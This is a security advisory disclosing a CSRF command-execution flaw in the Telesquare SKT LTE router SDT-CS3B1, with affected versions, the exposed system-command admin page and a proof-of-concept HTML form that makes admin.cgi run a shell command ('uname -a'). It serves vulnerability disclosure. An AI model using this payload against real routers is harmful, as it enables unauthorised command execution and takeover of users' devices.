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Telesquare SKT LTE Router SDT-CS3B1 CSRF / Command Execution

Telesquare SKT LTE Router SDT-CS3B1 CSRF / Command Execution
Posted Dec 27, 2017
Authored by LiquidWorm | Site zeroscience.mk

The Telesquare SKT LTE SDT-CS3B1 router suffers from authenticated arbitrary system command execution. The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

tags | exploit, web, arbitrary, csrf
MD5 | 4b9db3573ba7740ca38f47752d155a59

Telesquare SKT LTE Router SDT-CS3B1 CSRF / Command Execution

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Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution


Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
LteVer: ML300S5XEA41_090 1 0.1.0
Modem model: PM-L300S

Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.

Desc: The router suffers from authenticated arbitrary system command
execution. The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain actions
with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: lighttpd/1.4.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5443
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php


22.12.2017

--


IDOR for system command interface:
----------------------------------

GET /admin/system_command.shtml HTTP/1.1



PoC GET CSRF request:
---------------------

<html>
<body>
<form action="http://10.0.0.17:8081/cgi-bin/admin.cgi">
<input type="hidden" name="Command" value="sysCommand" />
<input type="hidden" name="Cmd" value="uname%20-a" />
<input type="hidden" name="T" value="8168008531337" />
<input type="submit" value="Send" />
</form>
</body>
</html>

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